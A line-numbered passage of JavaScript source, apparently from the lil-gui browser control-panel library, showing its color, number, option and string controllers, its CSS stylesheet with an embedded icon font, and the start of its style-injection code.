  238. target.g = (int >> 8 & 255) / 255 * rgbScale;
  239. target.b = (int & 255) / 255 * rgbScale;
  240. },
  241. toHexString({ r, g, b }, rgbScale = 1) {
  242. rgbScale = 255 / rgbScale;
  243. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  244. return INT.toHexString(int);
  245. }
  246. };
  247. const FORMATS = [STRING, INT, ARRAY, OBJECT];
  248. function getColorFormat(value) {
  249. return FORMATS.find((format) => format.match(value));
  250. }
  251. class ColorController extends Controller {
  252. constructor(parent, object, property, rgbScale) {
  253. super(parent, object, property, "color");
  254. this.$input = document.createElement("input");
  255. this.$input.setAttribute("type", "color");
  256. this.$input.setAttribute("tabindex", -1);
  257. this.$input.setAttribute("aria-labelledby", this.$name.id);
  258. this.$text = document.createElement("input");
  259. this.$text.setAttribute("type", "text");
  260. this.$text.setAttribute("spellcheck", "false");
  261. this.$text.setAttribute("aria-labelledby", this.$name.id);
  262. this.$display = document.createElement("div");
  263. this.$display.classList.add("display");
  264. this.$display.appendChild(this.$input);
  265. this.$widget.appendChild(this.$display);
  266. this.$widget.appendChild(this.$text);
  267. this._format = getColorFormat(this.initialValue);
  268. this._rgbScale = rgbScale;
  269. this._initialValueHexString = this.save();
  270. this._textFocused = false;
  271. this.$input.addEventListener("input", () => {
  272. this._setValueFromHexString(this.$input.value);
  273. });
  274. this.$input.addEventListener("blur", () => {
  275. this._callOnFinishChange();
  276. });
  277. this.$text.addEventListener("input", () => {
  278. const tryParse = normalizeColorString(this.$text.value);
  279. if (tryParse) {
  280. this._setValueFromHexString(tryParse);
  281. }
  282. });
  283. this.$text.addEventListener("focus", () => {
  284. this._textFocused = true;
  285. this.$text.select();
  286. });
  287. this.$text.addEventListener("blur", () => {
  288. this._textFocused = false;
  289. this.updateDisplay();
  290. this._callOnFinishChange();
  291. });
  292. this.$disable = this.$text;
  293. this.updateDisplay();
  294. }
  295. reset() {
  296. this._setValueFromHexString(this._initialValueHexString);
  297. return this;
  298. }
  299. _setValueFromHexString(value) {
  300. if (this._format.isPrimitive) {
  301. const newValue = this._format.fromHexString(value);
  302. this.setValue(newValue);
  303. } else {
  304. this._format.fromHexString(value, this.getValue(), this._rgbScale);
  305. this._callOnChange();
  306. this.updateDisplay();
  307. }
  308. }
  309. save() {
  310. return this._format.toHexString(this.getValue(), this._rgbScale);
  311. }
  312. load(value) {
  313. this._setValueFromHexString(value);
  314. this._callOnFinishChange();
  315. return this;
  316. }
  317. updateDisplay() {
  318. this.$input.value = this._format.toHexString(this.getValue(), this._rgbScale);
  319. if (!this._textFocused) {
  320. this.$text.value = this.$input.value.substring(1);
  321. }
  322. this.$display.style.backgroundColor = this.$input.value;
  323. return this;
  324. }
  325. }
  326. class FunctionController extends Controller {
  327. constructor(parent, object, property) {
  328. super(parent, object, property, "function");
  329. this.$button = document.createElement("button");
  330. this.$button.appendChild(this.$name);
  331. this.$widget.appendChild(this.$button);
  332. this.$button.addEventListener("click", (e) => {
  333. e.preventDefault();
  334. this.getValue().call(this.object);
  335. });
  336. this.$button.addEventListener("touchstart", () => {
  337. }, { passive: true });
  338. this.$disable = this.$button;
  339. }
  340. }
  341. class NumberController extends Controller {
  342. constructor(parent, object, property, min, max, step) {
  343. super(parent, object, property, "number");
  344. this._initInput();
  345. this.min(min);
  346. this.max(max);
  347. const stepExplicit = step !== void 0;
  348. this.step(stepExplicit ? step : this._getImplicitStep(), stepExplicit);
  349. this.updateDisplay();
  350. }
  351. decimals(decimals) {
  352. this._decimals = decimals;
  353. this.updateDisplay();
  354. return this;
  355. }
  356. min(min) {
  357. this._min = min;
  358. this._onUpdateMinMax();
  359. return this;
  360. }
  361. max(max) {
  362. this._max = max;
  363. this._onUpdateMinMax();
  364. return this;
  365. }
  366. step(step, explicit = true) {
  367. this._step = step;
  368. this._stepExplicit = explicit;
  369. return this;
  370. }
  371. updateDisplay() {
  372. const value = this.getValue();
  373. if (this._hasSlider) {
  374. let percent = (value - this._min) / (this._max - this._min);
  375. percent = Math.max(0, Math.min(percent, 1));
  376. this.$fill.style.width = percent * 100 + "%";
  377. }
  378. if (!this._inputFocused) {
  379. this.$input.value = this._decimals === void 0 ? value : value.toFixed(this._decimals);
  380. }
  381. return this;
  382. }
  383. _initInput() {
  384. this.$input = document.createElement("input");
  385. this.$input.setAttribute("type", "number");
  386. this.$input.setAttribute("step", "any");
  387. this.$input.setAttribute("aria-labelledby", this.$name.id);
  388. this.$widget.appendChild(this.$input);
  389. this.$disable = this.$input;
  390. const onInput = () => {
  391. let value = parseFloat(this.$input.value);
  392. if (isNaN(value))
  393. return;
  394. if (this._stepExplicit) {
  395. value = this._snap(value);
  396. }
  397. this.setValue(this._clamp(value));
  398. };
  399. const increment = (delta) => {
  400. const value = parseFloat(this.$input.value);
  401. if (isNaN(value))
  402. return;
  403. this._snapClampSetValue(value + delta);
  404. this.$input.value = this.getValue();
  405. };
  406. const onKeyDown = (e) => {
  407. if (e.code === "Enter") {
  408. this.$input.blur();
  409. }
  410. if (e.code === "ArrowUp") {
  411. e.preventDefault();
  412. increment(this._step * this._arrowKeyMultiplier(e));
  413. }
  414. if (e.code === "ArrowDown") {
  415. e.preventDefault();
  416. increment(this._step * this._arrowKeyMultiplier(e) * -1);
  417. }
  418. };
  419. const onWheel = (e) => {
  420. if (this._inputFocused) {
  421. e.preventDefault();
  422. increment(this._step * this._normalizeMouseWheel(e));
  423. }
  424. };
  425. let testingForVerticalDrag = false, initClientX, initClientY, prevClientY, initValue, dragDelta;
  426. const DRAG_THRESH = 5;
  427. const onMouseDown = (e) => {
  428. initClientX = e.clientX;
  429. initClientY = prevClientY = e.clientY;
  430. testingForVerticalDrag = true;
  431. initValue = this.getValue();
  432. dragDelta = 0;
  433. window.addEventListener("mousemove", onMouseMove);
  434. window.addEventListener("mouseup", onMouseUp);
  435. };
  436. const onMouseMove = (e) => {
  437. if (testingForVerticalDrag) {
  438. const dx = e.clientX - initClientX;
  439. const dy = e.clientY - initClientY;
  440. if (Math.abs(dy) > DRAG_THRESH) {
  441. e.preventDefault();
  442. this.$input.blur();
  443. testingForVerticalDrag = false;
  444. this._setDraggingStyle(true, "vertical");
  445. } else if (Math.abs(dx) > DRAG_THRESH) {
  446. onMouseUp();
  447. }
  448. }
  449. if (!testingForVerticalDrag) {
  450. const dy = e.clientY - prevClientY;
  451. dragDelta -= dy * this._step * this._arrowKeyMultiplier(e);
  452. if (initValue + dragDelta > this._max) {
  453. dragDelta = this._max - initValue;
  454. } else if (initValue + dragDelta < this._min) {
  455. dragDelta = this._min - initValue;
  456. }
  457. this._snapClampSetValue(initValue + dragDelta);
  458. }
  459. prevClientY = e.clientY;
  460. };
  461. const onMouseUp = () => {
  462. this._setDraggingStyle(false, "vertical");
  463. this._callOnFinishChange();
  464. window.removeEventListener("mousemove", onMouseMove);
  465. window.removeEventListener("mouseup", onMouseUp);
  466. };
  467. const onFocus = () => {
  468. this._inputFocused = true;
  469. };
  470. const onBlur = () => {
  471. this._inputFocused = false;
  472. this.updateDisplay();
  473. this._callOnFinishChange();
  474. };
  475. this.$input.addEventListener("input", onInput);
  476. this.$input.addEventListener("keydown", onKeyDown);
  477. this.$input.addEventListener("wheel", onWheel, { passive: false });
  478. this.$input.addEventListener("mousedown", onMouseDown);
  479. this.$input.addEventListener("focus", onFocus);
  480. this.$input.addEventListener("blur", onBlur);
  481. }
  482. _initSlider() {
  483. this._hasSlider = true;
  484. this.$slider = document.createElement("div");
  485. this.$slider.classList.add("slider");
  486. this.$fill = document.createElement("div");
  487. this.$fill.classList.add("fill");
  488. this.$slider.appendChild(this.$fill);
  489. this.$widget.insertBefore(this.$slider, this.$input);
  490. this.domElement.classList.add("hasSlider");
  491. const map = (v, a, b, c, d) => {
  492. return (v - a) / (b - a) * (d - c) + c;
  493. };
  494. const setValueFromX = (clientX) => {
  495. const rect = this.$slider.getBoundingClientRect();
  496. let value = map(clientX, rect.left, rect.right, this._min, this._max);
  497. this._snapClampSetValue(value);
  498. };
  499. const mouseDown = (e) => {
  500. this._setDraggingStyle(true);
  501. setValueFromX(e.clientX);
  502. window.addEventListener("mousemove", mouseMove);
  503. window.addEventListener("mouseup", mouseUp);
  504. };
  505. const mouseMove = (e) => {
  506. setValueFromX(e.clientX);
  507. };
  508. const mouseUp = () => {
  509. this._callOnFinishChange();
  510. this._setDraggingStyle(false);
  511. window.removeEventListener("mousemove", mouseMove);
  512. window.removeEventListener("mouseup", mouseUp);
  513. };
  514. let testingForScroll = false, prevClientX, prevClientY;
  515. const beginTouchDrag = (e) => {
  516. e.preventDefault();
  517. this._setDraggingStyle(true);
  518. setValueFromX(e.touches[0].clientX);
  519. testingForScroll = false;
  520. };
  521. const onTouchStart = (e) => {
  522. if (e.touches.length > 1)
  523. return;
  524. if (this._hasScrollBar) {
  525. prevClientX = e.touches[0].clientX;
  526. prevClientY = e.touches[0].clientY;
  527. testingForScroll = true;
  528. } else {
  529. beginTouchDrag(e);
  530. }
  531. window.addEventListener("touchmove", onTouchMove, { passive: false });
  532. window.addEventListener("touchend", onTouchEnd);
  533. };
  534. const onTouchMove = (e) => {
  535. if (testingForScroll) {
  536. const dx = e.touches[0].clientX - prevClientX;
  537. const dy = e.touches[0].clientY - prevClientY;
  538. if (Math.abs(dx) > Math.abs(dy)) {
  539. beginTouchDrag(e);
  540. } else {
  541. window.removeEventListener("touchmove", onTouchMove);
  542. window.removeEventListener("touchend", onTouchEnd);
  543. }
  544. } else {
  545. e.preventDefault();
  546. setValueFromX(e.touches[0].clientX);
  547. }
  548. };
  549. const onTouchEnd = () => {
  550. this._callOnFinishChange();
  551. this._setDraggingStyle(false);
  552. window.removeEventListener("touchmove", onTouchMove);
  553. window.removeEventListener("touchend", onTouchEnd);
  554. };
  555. const callOnFinishChange = this._callOnFinishChange.bind(this);
  556. const WHEEL_DEBOUNCE_TIME = 400;
  557. let wheelFinishChangeTimeout;
  558. const onWheel = (e) => {
  559. const isVertical = Math.abs(e.deltaX) < Math.abs(e.deltaY);
  560. if (isVertical && this._hasScrollBar)
  561. return;
  562. e.preventDefault();
  563. const delta = this._normalizeMouseWheel(e) * this._step;
  564. this._snapClampSetValue(this.getValue() + delta);
  565. this.$input.value = this.getValue();
  566. clearTimeout(wheelFinishChangeTimeout);
  567. wheelFinishChangeTimeout = setTimeout(callOnFinishChange, WHEEL_DEBOUNCE_TIME);
  568. };
  569. this.$slider.addEventListener("mousedown", mouseDown);
  570. this.$slider.addEventListener("touchstart", onTouchStart, { passive: false });
  571. this.$slider.addEventListener("wheel", onWheel, { passive: false });
  572. }
  573. _setDraggingStyle(active, axis = "horizontal") {
  574. if (this.$slider) {
  575. this.$slider.classList.toggle("active", active);
  576. }
  577. document.body.classList.toggle("lil-gui-dragging", active);
  578. document.body.classList.toggle(`lil-gui-${axis}`, active);
  579. }
  580. _getImplicitStep() {
  581. if (this._hasMin && this._hasMax) {
  582. return (this._max - this._min) / 1e3;
  583. }
  584. return 0.1;
  585. }
  586. _onUpdateMinMax() {
  587. if (!this._hasSlider && this._hasMin && this._hasMax) {
  588. if (!this._stepExplicit) {
  589. this.step(this._getImplicitStep(), false);
  590. }
  591. this._initSlider();
  592. this.updateDisplay();
  593. }
  594. }
  595. _normalizeMouseWheel(e) {
  596. let { deltaX, deltaY } = e;
  597. if (Math.floor(e.deltaY) !== e.deltaY && e.wheelDelta) {
  598. deltaX = 0;
  599. deltaY = -e.wheelDelta / 120;
  600. deltaY *= this._stepExplicit ? 1 : 10;
  601. }
  602. const wheel = deltaX + -deltaY;
  603. return wheel;
  604. }
  605. _arrowKeyMultiplier(e) {
  606. let mult = this._stepExplicit ? 1 : 10;
  607. if (e.shiftKey) {
  608. mult *= 10;
  609. } else if (e.altKey) {
  610. mult /= 10;
  611. }
  612. return mult;
  613. }
  614. _snap(value) {
  615. const r = Math.round(value / this._step) * this._step;
  616. return parseFloat(r.toPrecision(15));
  617. }
  618. _clamp(value) {
  619. if (value < this._min)
  620. value = this._min;
  621. if (value > this._max)
  622. value = this._max;
  623. return value;
  624. }
  625. _snapClampSetValue(value) {
  626. this.setValue(this._clamp(this._snap(value)));
  627. }
  628. get _hasScrollBar() {
  629. const root = this.parent.root.$children;
  630. return root.scrollHeight > root.clientHeight;
  631. }
  632. get _hasMin() {
  633. return this._min !== void 0;
  634. }
  635. get _hasMax() {
  636. return this._max !== void 0;
  637. }
  638. }
  639. class OptionController extends Controller {
  640. constructor(parent, object, property, options) {
  641. super(parent, object, property, "option");
  642. this.$select = document.createElement("select");
  643. this.$select.setAttribute("aria-labelledby", this.$name.id);
  644. this.$display = document.createElement("div");
  645. this.$display.classList.add("display");
  646. this._values = Array.isArray(options) ? options : Object.values(options);
  647. this._names = Array.isArray(options) ? options : Object.keys(options);
  648. this._names.forEach((name) => {
  649. const $option = document.createElement("option");
  650. $option.innerHTML = name;
  651. this.$select.appendChild($option);
  652. });
  653. this.$select.addEventListener("change", () => {
  654. this.setValue(this._values[this.$select.selectedIndex]);
  655. this._callOnFinishChange();
  656. });
  657. this.$select.addEventListener("focus", () => {
  658. this.$display.classList.add("focus");
  659. });
  660. this.$select.addEventListener("blur", () => {
  661. this.$display.classList.remove("focus");
  662. });
  663. this.$widget.appendChild(this.$select);
  664. this.$widget.appendChild(this.$display);
  665. this.$disable = this.$select;
  666. this.updateDisplay();
  667. }
  668. updateDisplay() {
  669. const value = this.getValue();
  670. const index = this._values.indexOf(value);
  671. this.$select.selectedIndex = index;
  672. this.$display.innerHTML = index === -1 ? value : this._names[index];
  673. return this;
  674. }
  675. }
  676. class StringController extends Controller {
  677. constructor(parent, object, property) {
  678. super(parent, object, property, "string");
  679. this.$input = document.createElement("input");
  680. this.$input.setAttribute("type", "text");
  681. this.$input.setAttribute("aria-labelledby", this.$name.id);
  682. this.$input.addEventListener("input", () => {
  683. this.setValue(this.$input.value);
  684. });
  685. this.$input.addEventListener("keydown", (e) => {
  686. if (e.code === "Enter") {
  687. this.$input.blur();
  688. }
  689. });
  690. this.$input.addEventListener("blur", () => {
  691. this._callOnFinishChange();
  692. });
  693. this.$widget.appendChild(this.$input);
  694. this.$disable = this.$input;
  695. this.updateDisplay();
  696. }
  697. updateDisplay() {
  698. this.$input.value = this.getValue();
  699. return this;
  700. }
  701. }
  702. const stylesheet = `.lil-gui {
  703. font-family: var(--font-family);
  704. font-size: var(--font-size);
  705. line-height: 1;
  706. font-weight: normal;
  707. font-style: normal;
  708. text-align: left;
  709. background-color: var(--background-color);
  710. color: var(--text-color);
  711. user-select: none;
  712. -webkit-user-select: none;
  713. touch-action: manipulation;
  714. --background-color: #1f1f1f;
  715. --text-color: #ebebeb;
  716. --title-background-color: #111111;
  717. --title-text-color: #ebebeb;
  718. --widget-color: #424242;
  719. --hover-color: #4f4f4f;
  720. --focus-color: #595959;
  721. --number-color: #2cc9ff;
  722. --string-color: #a2db3c;
  723. --font-size: 11px;
  724. --input-font-size: 11px;
  725. --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  726. --font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;
  727. --padding: 4px;
  728. --spacing: 4px;
  729. --widget-height: 20px;
  730. --name-width: 45%;
  731. --slider-knob-width: 2px;
  732. --slider-input-width: 27%;
  733. --color-input-width: 27%;
  734. --slider-input-min-width: 45px;
  735. --color-input-min-width: 45px;
  736. --folder-indent: 7px;
  737. --widget-padding: 0 0 0 3px;
  738. --widget-border-radius: 2px;
  739. --checkbox-size: calc(0.75 * var(--widget-height));
  740. --scrollbar-width: 5px;
  741. }
  742. .lil-gui, .lil-gui * {
  743. box-sizing: border-box;
  744. margin: 0;
  745. padding: 0;
  746. }
  747. .lil-gui.root {
  748. width: var(--width, 245px);
  749. display: flex;
  750. flex-direction: column;
  751. }
  752. .lil-gui.root > .title {
  753. background: var(--title-background-color);
  754. color: var(--title-text-color);
  755. }
  756. .lil-gui.root > .children {
  757. overflow-x: hidden;
  758. overflow-y: auto;
  759. }
  760. .lil-gui.root > .children::-webkit-scrollbar {
  761. width: var(--scrollbar-width);
  762. height: var(--scrollbar-width);
  763. background: var(--background-color);
  764. }
  765. .lil-gui.root > .children::-webkit-scrollbar-thumb {
  766. border-radius: var(--scrollbar-width);
  767. background: var(--focus-color);
  768. }
  769. @media (pointer: coarse) {
  770. .lil-gui.allow-touch-styles {
  771. --widget-height: 28px;
  772. --padding: 6px;
  773. --spacing: 6px;
  774. --font-size: 13px;
  775. --input-font-size: 16px;
  776. --folder-indent: 10px;
  777. --scrollbar-width: 7px;
  778. --slider-input-min-width: 50px;
  779. --color-input-min-width: 65px;
  780. }
  781. }
  782. .lil-gui.force-touch-styles {
  783. --widget-height: 28px;
  784. --padding: 6px;
  785. --spacing: 6px;
  786. --font-size: 13px;
  787. --input-font-size: 16px;
  788. --folder-indent: 10px;
  789. --scrollbar-width: 7px;
  790. --slider-input-min-width: 50px;
  791. --color-input-min-width: 65px;
  792. }
  793. .lil-gui.autoPlace {
  794. max-height: 100%;
  795. position: fixed;
  796. top: 0;
  797. right: 15px;
  798. z-index: 1001;
  799. }
  800.  
  801. .lil-gui .controller {
  802. display: flex;
  803. align-items: center;
  804. padding: 0 var(--padding);
  805. margin: var(--spacing) 0;
  806. }
  807. .lil-gui .controller.disabled {
  808. opacity: 0.5;
  809. }
  810. .lil-gui .controller.disabled, .lil-gui .controller.disabled * {
  811. pointer-events: none !important;
  812. }
  813. .lil-gui .controller > .name {
  814. min-width: var(--name-width);
  815. flex-shrink: 0;
  816. white-space: pre;
  817. padding-right: var(--spacing);
  818. line-height: var(--widget-height);
  819. }
  820. .lil-gui .controller .widget {
  821. position: relative;
  822. display: flex;
  823. align-items: center;
  824. width: 100%;
  825. min-height: var(--widget-height);
  826. }
  827. .lil-gui .controller.string input {
  828. color: var(--string-color);
  829. }
  830. .lil-gui .controller.boolean .widget {
  831. cursor: pointer;
  832. }
  833. .lil-gui .controller.color .display {
  834. width: 100%;
  835. height: var(--widget-height);
  836. border-radius: var(--widget-border-radius);
  837. position: relative;
  838. }
  839. @media (hover: hover) {
  840. .lil-gui .controller.color .display:hover:before {
  841. content: " ";
  842. display: block;
  843. position: absolute;
  844. border-radius: var(--widget-border-radius);
  845. border: 1px solid #fff9;
  846. top: 0;
  847. right: 0;
  848. bottom: 0;
  849. left: 0;
  850. }
  851. }
  852. .lil-gui .controller.color input[type=color] {
  853. opacity: 0;
  854. width: 100%;
  855. height: 100%;
  856. cursor: pointer;
  857. }
  858. .lil-gui .controller.color input[type=text] {
  859. margin-left: var(--spacing);
  860. font-family: var(--font-family-mono);
  861. min-width: var(--color-input-min-width);
  862. width: var(--color-input-width);
  863. flex-shrink: 0;
  864. }
  865. .lil-gui .controller.option select {
  866. opacity: 0;
  867. position: absolute;
  868. width: 100%;
  869. max-width: 100%;
  870. }
  871. .lil-gui .controller.option .display {
  872. position: relative;
  873. pointer-events: none;
  874. border-radius: var(--widget-border-radius);
  875. height: var(--widget-height);
  876. line-height: var(--widget-height);
  877. max-width: 100%;
  878. overflow: hidden;
  879. word-break: break-all;
  880. padding-left: 0.55em;
  881. padding-right: 1.75em;
  882. background: var(--widget-color);
  883. }
  884. @media (hover: hover) {
  885. .lil-gui .controller.option .display.focus {
  886. background: var(--focus-color);
  887. }
  888. }
  889. .lil-gui .controller.option .display.active {
  890. background: var(--focus-color);
  891. }
  892. .lil-gui .controller.option .display:after {
  893. font-family: "lil-gui";
  894. content: "↕";
  895. position: absolute;
  896. top: 0;
  897. right: 0;
  898. bottom: 0;
  899. padding-right: 0.375em;
  900. }
  901. .lil-gui .controller.option .widget,
  902. .lil-gui .controller.option select {
  903. cursor: pointer;
  904. }
  905. @media (hover: hover) {
  906. .lil-gui .controller.option .widget:hover .display {
  907. background: var(--hover-color);
  908. }
  909. }
  910. .lil-gui .controller.number input {
  911. color: var(--number-color);
  912. }
  913. .lil-gui .controller.number.hasSlider input {
  914. margin-left: var(--spacing);
  915. width: var(--slider-input-width);
  916. min-width: var(--slider-input-min-width);
  917. flex-shrink: 0;
  918. }
  919. .lil-gui .controller.number .slider {
  920. width: 100%;
  921. height: var(--widget-height);
  922. background-color: var(--widget-color);
  923. border-radius: var(--widget-border-radius);
  924. padding-right: var(--slider-knob-width);
  925. overflow: hidden;
  926. cursor: ew-resize;
  927. touch-action: pan-y;
  928. }
  929. @media (hover: hover) {
  930. .lil-gui .controller.number .slider:hover {
  931. background-color: var(--hover-color);
  932. }
  933. }
  934. .lil-gui .controller.number .slider.active {
  935. background-color: var(--focus-color);
  936. }
  937. .lil-gui .controller.number .slider.active .fill {
  938. opacity: 0.95;
  939. }
  940. .lil-gui .controller.number .fill {
  941. height: 100%;
  942. border-right: var(--slider-knob-width) solid var(--number-color);
  943. box-sizing: content-box;
  944. }
  945.  
  946. .lil-gui-dragging .lil-gui {
  947. --hover-color: var(--widget-color);
  948. }
  949. .lil-gui-dragging * {
  950. cursor: ew-resize !important;
  951. }
  952.  
  953. .lil-gui-dragging.lil-gui-vertical * {
  954. cursor: ns-resize !important;
  955. }
  956.  
  957. .lil-gui .title {
  958. --title-height: calc(var(--widget-height) + var(--spacing) * 1.25);
  959. height: var(--title-height);
  960. line-height: calc(var(--title-height) - 4px);
  961. font-weight: 600;
  962. padding: 0 var(--padding);
  963. -webkit-tap-highlight-color: transparent;
  964. cursor: pointer;
  965. outline: none;
  966. text-decoration-skip: objects;
  967. }
  968. .lil-gui .title:before {
  969. font-family: "lil-gui";
  970. content: "▾";
  971. padding-right: 2px;
  972. display: inline-block;
  973. }
  974. .lil-gui .title:active {
  975. background: var(--title-background-color);
  976. opacity: 0.75;
  977. }
  978. @media (hover: hover) {
  979. body:not(.lil-gui-dragging) .lil-gui .title:hover {
  980. background: var(--title-background-color);
  981. opacity: 0.85;
  982. }
  983. .lil-gui .title:focus {
  984. text-decoration: underline var(--focus-color);
  985. }
  986. }
  987. .lil-gui.root > .title:focus {
  988. text-decoration: none !important;
  989. }
  990. .lil-gui.closed > .title:before {
  991. content: "▸";
  992. }
  993. .lil-gui.closed > .children {
  994. transform: translateY(-7px);
  995. opacity: 0;
  996. }
  997. .lil-gui.closed:not(.transition) > .children {
  998. display: none;
  999. }
  1000. .lil-gui.transition > .children {
  1001. transition-duration: 300ms;
  1002. transition-property: height, opacity, transform;
  1003. transition-timing-function: cubic-bezier(0.2, 0.6, 0.35, 1);
  1004. overflow: hidden;
  1005. pointer-events: none;
  1006. }
  1007. .lil-gui .children:empty:before {
  1008. content: "Empty";
  1009. padding: 0 var(--padding);
  1010. margin: var(--spacing) 0;
  1011. display: block;
  1012. height: var(--widget-height);
  1013. font-style: italic;
  1014. line-height: var(--widget-height);
  1015. opacity: 0.5;
  1016. }
  1017. .lil-gui.root > .children > .lil-gui > .title {
  1018. border: 0 solid var(--widget-color);
  1019. border-width: 1px 0;
  1020. transition: border-color 300ms;
  1021. }
  1022. .lil-gui.root > .children > .lil-gui.closed > .title {
  1023. border-bottom-color: transparent;
  1024. }
  1025. .lil-gui + .controller {
  1026. border-top: 1px solid var(--widget-color);
  1027. margin-top: 0;
  1028. padding-top: var(--spacing);
  1029. }
  1030. .lil-gui .lil-gui .lil-gui > .title {
  1031. border: none;
  1032. }
  1033. .lil-gui .lil-gui .lil-gui > .children {
  1034. border: none;
  1035. margin-left: var(--folder-indent);
  1036. border-left: 2px solid var(--widget-color);
  1037. }
  1038. .lil-gui .lil-gui .controller {
  1039. border: none;
  1040. }
  1041.  
  1042. .lil-gui input {
  1043. -webkit-tap-highlight-color: transparent;
  1044. border: 0;
  1045. outline: none;
  1046. font-family: var(--font-family);
  1047. font-size: var(--input-font-size);
  1048. border-radius: var(--widget-border-radius);
  1049. height: var(--widget-height);
  1050. background: var(--widget-color);
  1051. color: var(--text-color);
  1052. width: 100%;
  1053. }
  1054. @media (hover: hover) {
  1055. .lil-gui input:hover {
  1056. background: var(--hover-color);
  1057. }
  1058. .lil-gui input:active {
  1059. background: var(--focus-color);
  1060. }
  1061. }
  1062. .lil-gui input:disabled {
  1063. opacity: 1;
  1064. }
  1065. .lil-gui input[type=text],
  1066. .lil-gui input[type=number] {
  1067. padding: var(--widget-padding);
  1068. }
  1069. .lil-gui input[type=text]:focus,
  1070. .lil-gui input[type=number]:focus {
  1071. background: var(--focus-color);
  1072. }
  1073. .lil-gui input::-webkit-outer-spin-button,
  1074. .lil-gui input::-webkit-inner-spin-button {
  1075. -webkit-appearance: none;
  1076. margin: 0;
  1077. }
  1078. .lil-gui input[type=number] {
  1079. -moz-appearance: textfield;
  1080. }
  1081. .lil-gui input[type=checkbox] {
  1082. appearance: none;
  1083. -webkit-appearance: none;
  1084. height: var(--checkbox-size);
  1085. width: var(--checkbox-size);
  1086. border-radius: var(--widget-border-radius);
  1087. text-align: center;
  1088. cursor: pointer;
  1089. }
  1090. .lil-gui input[type=checkbox]:checked:before {
  1091. font-family: "lil-gui";
  1092. content: "✓";
  1093. font-size: var(--checkbox-size);
  1094. line-height: var(--checkbox-size);
  1095. }
  1096. @media (hover: hover) {
  1097. .lil-gui input[type=checkbox]:focus {
  1098. box-shadow: inset 0 0 0 1px var(--focus-color);
  1099. }
  1100. }
  1101. .lil-gui button {
  1102. -webkit-tap-highlight-color: transparent;
  1103. outline: none;
  1104. cursor: pointer;
  1105. font-family: var(--font-family);
  1106. font-size: var(--font-size);
  1107. color: var(--text-color);
  1108. width: 100%;
  1109. height: var(--widget-height);
  1110. text-transform: none;
  1111. background: var(--widget-color);
  1112. border-radius: var(--widget-border-radius);
  1113. border: 1px solid var(--widget-color);
  1114. text-align: center;
  1115. line-height: calc(var(--widget-height) - 4px);
  1116. }
  1117. @media (hover: hover) {
  1118. .lil-gui button:hover {
  1119. background: var(--hover-color);
  1120. border-color: var(--hover-color);
  1121. }
  1122. .lil-gui button:focus {
  1123. border-color: var(--focus-color);
  1124. }
  1125. }
  1126. .lil-gui button:active {
  1127. background: var(--focus-color);
  1128. }
  1129.  
  1130. @font-face {
  1131. font-family: "lil-gui";
  1132. src: url("data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUsAAsAAAAACJwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAAH4AAADAImwmYE9TLzIAAAGIAAAAPwAAAGBKqH5SY21hcAAAAcgAAAD0AAACrukyyJBnbHlmAAACvAAAAF8AAACEIZpWH2hlYWQAAAMcAAAAJwAAADZfcj2zaGhlYQAAA0QAAAAYAAAAJAC5AHhobXR4AAADXAAAABAAAABMAZAAAGxvY2EAAANsAAAAFAAAACgCEgIybWF4cAAAA4AAAAAeAAAAIAEfABJuYW1lAAADoAAAASIAAAIK9SUU/XBvc3QAAATEAAAAZgAAAJCTcMc2eJxVjbEOgjAURU+hFRBK1dGRL+ALnAiToyMLEzFpnPz/eAshwSa97517c/MwwJmeB9kwPl+0cf5+uGPZXsqPu4nvZabcSZldZ6kfyWnomFY/eScKqZNWupKJO6kXN3K9uCVoL7iInPr1X5baXs3tjuMqCtzEuagm/AAlzQgPAAB4nGNgYRBlnMDAysDAYM/gBiT5oLQBAwuDJAMDEwMrMwNWEJDmmsJwgCFeXZghBcjlZMgFCzOiKOIFAB71Bb8AeJy1kjFuwkAQRZ+DwRAwBtNQRUGKQ8OdKCAWUhAgKLhIuAsVSpWz5Bbkj3dEgYiUIszqWdpZe+Z7/wB1oCYmIoboiwiLT2WjKl/jscrHfGg/pKdMkyklC5Zs2LEfHYpjcRoPzme9MWWmk3dWbK9ObkWkikOetJ554fWyoEsmdSlt+uR0pCJR34b6t/TVg1SY3sYvdf8vuiKrpyaDXDISiegp17p7579Gp3p++y7HPAiY9pmTibljrr85qSidtlg4+l25GLCaS8e6rRxNBmsnERunKbaOObRz7N72ju5vdAjYpBXHgJylOAVsMseDAPEP8LYoUHicY2BiAAEfhiAGJgZWBgZ7RnFRdnVJELCQlBSRlATJMoLV2DK4glSYs6ubq5vbKrJLSbGrgEmovDuDJVhe3VzcXFwNLCOILB/C4IuQ1xTn5FPilBTj5FPmBAB4WwoqAHicY2BkYGAA4sk1sR/j+W2+MnAzpDBgAyEMQUCSg4EJxAEAwUgFHgB4nGNgZGBgSGFggJMhDIwMqEAYAByHATJ4nGNgAIIUNEwmAABl3AGReJxjYAACIQYlBiMGJ3wQAEcQBEV4nGNgZGBgEGZgY2BiAAEQyQWEDAz/wXwGAAsPATIAAHicXdBNSsNAHAXwl35iA0UQXYnMShfS9GPZA7T7LgIu03SSpkwzYTIt1BN4Ak/gKTyAeCxfw39jZkjymzcvAwmAW/wgwHUEGDb36+jQQ3GXGot79L24jxCP4gHzF/EIr4jEIe7wxhOC3g2TMYy4Q7+Lu/SHuEd/ivt4wJd4wPxbPEKMX3GI5+DJFGaSn4qNzk8mcbKSR6xdXdhSzaOZJGtdapd4vVPbi6rP+cL7TGXOHtXKll4bY1Xl7EGnPtp7Xy2n00zyKLVHfkHBa4IcJ2oD3cgggWvt/V/FbDrUlEUJhTn/0azVWbNTNr0Ens8de1tceK9xZmfB1CPjOmPH4kitmvOubcNpmVTN3oFJyjzCvnmrwhJTzqzVj9jiSX911FjeAAB4nG3HMRKCMBBA0f0giiKi4DU8k0V2GWbIZDOh4PoWWvq6J5V8If9NVNQcaDhyouXMhY4rPTcG7jwYmXhKq8Wz+p762aNaeYXom2n3m2dLTVgsrCgFJ7OTmIkYbwIbC6vIB7WmFfAAAA==") format("woff");
  1133. }`;
  1134. function _injectStyles(cssContent) {
  1135. const injected = document.createElement("style");
  1136. injected.innerHTML = cssContent;
  1137. const before = document.querySelector("head link[rel=stylesheet], head style");
  1138. if (before) {
  1139. document.head.insertBefore(injected, before);
  1140. } else {
